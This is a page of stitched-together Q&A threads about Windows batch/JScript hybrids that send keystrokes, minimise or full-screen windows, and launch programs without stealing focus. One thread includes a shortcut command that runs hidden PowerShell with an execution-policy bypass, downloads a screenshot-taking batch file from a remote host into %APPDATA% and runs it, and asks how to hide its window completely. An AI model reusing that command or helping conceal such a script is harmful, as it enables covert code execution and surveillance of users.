After doing some googling I got many answers(from stackoverflow and other sites) saying keypress automation & simulation is possible with Batch-JScript duo file, so I put together my fndings and made a script like below, but it doesn't work as expected at all.
Take a look at the below script:
#if (#CodeSection == #Batch) #then
#echo off
set SendKeys=CScript //nologo //E:JScript "%~F0"
start SystemPropertiesAdvanced.exe
%SendKeys% "{n}"
goto :EOF
#end
::JScript section
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.SendKeys(WScript.Arguments(0));
As it is apparent from the code, I a trying open the Environment Variables section which is already elevated to Administrator rights, so that user can edit both User and System environment variables. But this script only opens the Window before Environment Variables in elevated privilege.
As you can see, I have already put the code to simulate & automate keypress of n letter after opening the SystemPropertiesAdvanced Window and thus bypassing that manual step, but this part doesn't work.
Maybe I have made some mistake, but I cannot find what would that be, so any help is appreciated.
Related
Thank you in advance for your time.
I found/edit a batch script (bat1.cmd) which take a desktop screenshot. Everything is working good actually. Here is my complete code = https://pastebin.com/KvqgFx5L .
My only request here is to hide/minimize the bat1.cmd window when i run it (within a lnk, check "NB" at the end of my message).
I made some researches and a classic solution is to use this kind of scripts :
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
or
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
Unfortunately my batch script (bat1.cmd) have special parameters that do not allow (?) to add this kind of "minimize" script (I tried to add it on top, inside the script etc and nothing is working).
NB : The batch script (bat1.cmd) is donwloaded/run within a shortcurt (bat1.lnk) but adding minimized parameters in the lnk won't minimized the bat1.cmd window (I guess ?/I made test).
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');
Thank you a lot in advance for your help.
Ok I have found a solution. Add the "minimize" code at the top, after :batch #echo off. I guess it is alright ? The window still appears 0.1 sec and is minimized then. Any way to make it totally hidden ? I already reduced the window size column/line. I wonder if we can change the window position (without 3rd party tool) ?
// 2>nul||#goto :batch
/*
:batch
#echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
I have searchewd a few posts here, but I cannot find one that is exactly what I am looking for. In simple terms I am trying to send a character to my Arduino via bluetooth Automatically.
I have tried both Putty and Plink, but neither work automatically. Here is the commands I have tried so far:
command.bat | putty -serial com3 -sercfg 9600
Command.bat:
#echo off
timeout /t 5
echo 2
and
plink -load Arduino echo 2
This connects to the bluetooth adapter on the Arduino, but opens an Interactive console. I can hit the number 2 on the keyboard it is sends it correctly. However I want that to be sent automatically. I have timeout in there because it takes a few seconds to connect to the bluetooth.
Is there a way to do this so I can just run a bat file and have it send the commands automatically?
If the interactive console opens up and is the most present item, you can use the following code upon the interactive console startup...
#if (#CodeSection == #Batch) #then
#echo off
set SendKeys=CScript //nologo //E:JScript "%~F0"
rem wait for interactive console to appear before pressing 2 to initialize
timeout /t 5
%SendKeys% "{2}"
goto :EOF
#end
// JScript section
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.SendKeys(WScript.Arguments(0));
Call it a cheap fix if you will, the code will call a javascript to press 2 for you. Im not sure how to tie it with your absolute program but this will run it automatically as the computer will simulate the input for you.
How can I start a batch file in full-screen mode? I know that this question was asked before, but it wasn't actually answered.
unfortunately, I don't know reverse engineering, so I cant decompile the code.
Here is something I tested:
#if (#CodeSection == #Batch) #then
#echo off
rem Use %SendKeys% to send keys to the keyboard buffer
set SendKeys=CScript //nologo //E:JScript "%~F0"
start cmd.exe
%sendkeys% "(%{enter})"
goto :EOF
#end
// JScript section
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.SendKeys(WScript.Arguments(0));
The idea is that it starts a cmd window, and (this part of the code %sendkeys% "(%{enter})") is supposed to simulate the user pressing [alt] + [enter]. But it doesn't work.
I wrote a little c# tool to send an alt+enter to the cmd window, but I'm looking for an internal method.
If sendkeys parameter for "Alt-Enter" should be "%{enter}", then this line:
%sendkeys% "(%{enter})"
... should have not parentheses and there is one percent sign missing. Try:
%sendkeys% "%%{enter}"
See the example for "Alt-V" at this post
I made an autoIT script, extremely simple.
Run("cmd.exe")
sleep (1000)
Send("!{enter}")
Unfortunately, this isn't what I want. I was looking for more of an actual command, not some other 3d party program.
:: edit
here: This is a link to the compiled 1 line skiddy script that I made.
Its a command line tool, so all you have to do is type fullscreen in a cmd window to toggle fullscreen mode.
In case you don't know how to use a command line tool, you have to be in the same directory as the file.
So, im pretty new to this here, but heres the issue I cannot seem to get past.
writing a section of code in batch to launch a program, and simulate a single keypress. here is that code block in question
#echo off
set SendKeys=CScript //nologo //E:JScript "%~F0"
ping -n 5 -w 1 127.0.0.1
start .\cc6.exe
%SendKeys% "{ENTER}"
// JScript section
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.SendKeys(WScript.Arguments(0));
code returns "Conditional Compilation is off" error.
Searching for a solution tells me that adding
/*#cc_on #*/
to the code should resolve the sitation and turn conditional compilation on.
however adding that segment in results in " '/*#cc_on'is not recognized as an internal or external command, operable program or batch file." error.
You need to use the conditional compilation via #if command this way:
#if (#CodeSection == #Batch) #then
#echo off
set SendKeys=CScript //nologo //E:JScript "%~F0"
ping -n 5 -w 1 127.0.0.1
start .\cc6.exe
%SendKeys% "{ENTER}"
goto :EOF
#end
// JScript section
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.SendKeys(WScript.Arguments(0));
The #if command ignore the following code until the next #end; the (#CodeSection == #Batch) part is just an expression that have false value in JScript but that is valid in Batch, and the #then part may be any word that just complete the syntax for Batch part. You must also include a goto :EOF command before the JScript section, otherwise it would be executed as Batch code.
Most programming languages use if to indicate conditions, or conditional expressions and statements.
To turn on conditional compilation for JScript, you'd also need an if statement.
Conventionally, you'd separate the batch code from JScript via commenting.
JScript was introduced in 1996 and supported only by IE 3.0 for client side scripting, and has syntax similar to Javascript, "Microsoft's dialect of the ECMAScript".
#cc_on activates conditional compilation in IE 10 and earlier versions within script comments, meaning the codes within comments are to be treated as codes & executed, and not treated as comments. Of course it'll only be executed by browsers/applications that know about it, otherwise it'll be ignored or treated as comment. (Kind of like 'I didn't know' excuse most offenders give for breaking the law, or the different behaviour in people who see beyond what can be observed by the known senses)
IE 11+ & Windows store apps don't support conditional compilation.
The code you're running is in a batch file, and not in Internal Explorer to execute client side scripting, so you won't need #cc_on in your code.
Try the below format in your batch file:
#if (#a==#a) #end /*
cscript //E:JScript //nologo "%~f0" %*
REM --- Insert other batch codes here ---
exit /b
*/
// --- JScript codes below this line ----
// --- insert more scripts ---
WScript.Echo(" Code activated, blah!");
WScript.Quit(0);
I believe the /*#cc_on #*/ needs to be inserted into the jscript script file, not in the batch file you posted.
i have a batch file with a for loop, in which i launch my application repeatedly (the app terminates by itself). i am using:
start /wait /min myapp
in order to have it run minimized and wait for self-termination.
my problem is that the application steals window focus each time it is run.
how can i launch the app without giving it focus?
You could use a Batch/JScript hybrid, so you can use the WScript.Run method.
With the second parameter =7 you got it.
7=(Displays the window as a minimized window. The active window remains active.).
MSDN Run Method
#if (#X)==(#Y) #goto :Dummy #end/* Batch part
#echo off
setlocal
cscript //nologo //e:jscript "%~f0"
goto :eof
Jscript part begins here */
var sh=new ActiveXObject("WScript.Shell");
sh.Run("cmd /c wait.bat",7,true)
sh.Run("cmd /c wait.bat",7,true)
The wait.bat
ping -n 5 127.0.0.1
my app is a c# form and the problem was having topmost = true